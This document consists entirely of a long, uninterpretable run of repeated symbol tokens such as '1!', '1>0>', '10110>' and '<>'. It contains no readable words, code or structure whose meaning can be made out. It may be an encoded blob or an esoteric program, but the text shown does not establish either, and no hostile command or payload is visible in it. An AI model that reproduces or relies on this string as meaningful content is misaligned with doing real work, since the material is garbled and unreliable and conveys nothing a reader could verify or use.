1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1010>010110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!101101010111>01>0>1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1010>010110>10110>1!1!1>0>1!1!1>0>1!1>0>1010>01>0>1>0>10110>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>10110>1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1010>01>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1010>01>0>10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1010>01>0>1!1!1!<>1!1>0>1>0>1!1010>01>0>1!1>0>1>0>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1010>01>0>1!1>0>1!1>01010111>01!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>10110>1!1>0>10110>1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1010>01>0>1>0>10110>1!10110>1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1010>01>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1010>01>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1010>01>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>10110>1!1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!10110>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1010>01>0>1!1>0>10110>1!1!10110>1!1!1>0>1!1>0>1!1!1010>01>0>10110>1!1!1!1!1>0>1>0>1010>01>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1010>01>0><>1>0>1!1>0>1>0>10110>1!1010>01>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1010>01>0>1>0>1!1>0>1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!<>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1010>01>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1010>01>0>10110>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<1010111>01!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!10110>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1010>01>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1010>01>0>1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1010>01>0>1!1!10110>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1!10110>1!1>0>1!10110>1010>01>0>1!1>0>1>01010111>01!1!1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!10110>1!1>0>1>0>10110>1!1>0>1010>01>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<1010111>01>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1010>010110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>10110>1!1!1!1>0>1>0>10110>1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1010>01>0>1!1!10110>1!10110>1!1>0>1>0>1!1010>01>0>1!1!10110>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1010>01>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1010>010110>1!1!1!1!1>0>1!1!1!1>0>1!1010>01>0>1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1>0>1!10110>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1010>01>0>10110>1!1!1>0>1!1!1>0>1!1010>01>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1010>010110>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1010>01>0>10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1!1010>01>0>10110>1!1!1!1>0>1>0>1!1!1010>01>0>1!1>0>10110>1!1>0>1!1>0>1!10110>1!1!1!1!1!1010>01>0>1!<>1010>01>01010111>01>0>10110>1!1!1!1010>01>0>1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1010>010110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1010>01>0>10110>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1>0>1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1!10110>1!1>0>10110>1010>01>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>1>0>10110>1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1010>010110>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0><>1!1>0>1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1010>01>01010111>01!1>0>1>0>1!1010>01>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1010>010110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1>0>10110>1!1>0>1>0>1010>01>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1010>01>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!1!10110>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1010>01>0>1!1>0>10110>10110>1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1010>01>0>10110>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1010>010110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1010>01>0>1>0>10110>1!1!1!1>0>1!1!10110>1010>01>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1!1>0>10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!10110>1!1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1010>0101101010111>01!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1010>01>0>1!1!10110>1!1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1!1>0>1!1>0>1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>01010111>01>0>1!1>0>1>0>1!1>0>1!1!1010>010110>1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1010>010110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1010>01>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1010>010110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1010>01>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1010>01>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1010>01>0>10110>1!1>0>10110>1!1!1>0>1!1!1!1010>01>0>10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1!10110>1!1>0>1!10110>10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1010>01>0>1!1!1!10110>1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!<>1>0><>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!10110>10110>1!1!1>0>1!1>0>1010>010110>1!10110>10110>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>10110>1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1010>01>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1010>010110>1!1!1!10110>1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1010>01>0>10110>10110>1!1>0>1!1>0>1!1!1!1010>01>0>1!1!1>0>10110>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0><>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1010>01>0>1!1>0>1!1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>10110>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<1010111>01>0>1!10110>1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>10110>1!10110>1!1>0>1>0>1!1010>01>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1010>01>0>1>0>10110>10110>10110>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1>0>1>0><>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!10110>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1010>010110>1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1010>01>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1010>010110>1!1!10110>1!1>0>1!1!1>0>1>0>1010>01>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1010>01>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1010>010110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1!1>0>10110>10110>10110>1!1!1010>01>0>1>0>1!1>0><>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1010>01>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!10110>10110>1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>10110>1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!<>1>0>1010>010110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1!1>01010111>01!1!1010>01>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1!1>0>1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1>01010111>01!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1010>01010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1010>01>0>1010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1010>01>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!10110>1!1>0>1!1!<>1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1!10110>1!1>0>1!<>1>0>1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1!1!1!1010>01010>01010>01010>01010>0